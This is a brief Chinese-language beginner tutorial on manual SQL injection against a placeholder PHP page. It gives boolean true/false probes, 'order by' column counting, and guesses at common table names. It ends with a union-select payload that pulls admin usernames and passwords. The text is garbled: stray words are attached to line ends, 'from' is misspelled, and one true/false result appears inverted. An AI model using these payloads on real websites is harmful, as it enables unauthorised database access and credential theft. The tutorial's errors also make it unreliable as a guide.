/*例子 判斷規則 http://xxx.xxx/new.php?id=57 and 1=1 正確 http://xxx.xxx/new.php?id=57 and 1=2 錯誤 http://xxx.xxx/new.php?id=57 and 2-1=1 正確 http://xxx.xxx/new.php?id=57 and 2-1=2 錯誤 http://xxx.xxx/new.php?id=57 and a=a 正確 http://xxx.xxx/new.php?id=57 and 'a'='a' 錯誤 */固然 不一樣網站可能有不一樣的判斷規則
order by 列數或者列名 /*ORDER BY 語句用於根據指定的列隊結果集進行排序*/
對了 order by 1 正常 order by 2 正常 order by 3 不正常 就表明有兩個字段 也就是兩列php
union select 1,2 form user /* union select 查字段 form 翻譯成中文 就是 來自的意思 來自某某個數據表 */
admin表 username表 user表 sys_admin 都是經常使用的表數據庫
那麼繼續看上邊的 查字段 ide
union select admin,password from admin
system也是經常使用的表 這些都須要本身去猜想 判斷 學習
本篇文章僅爲小白學習交流 大佬勿噴網站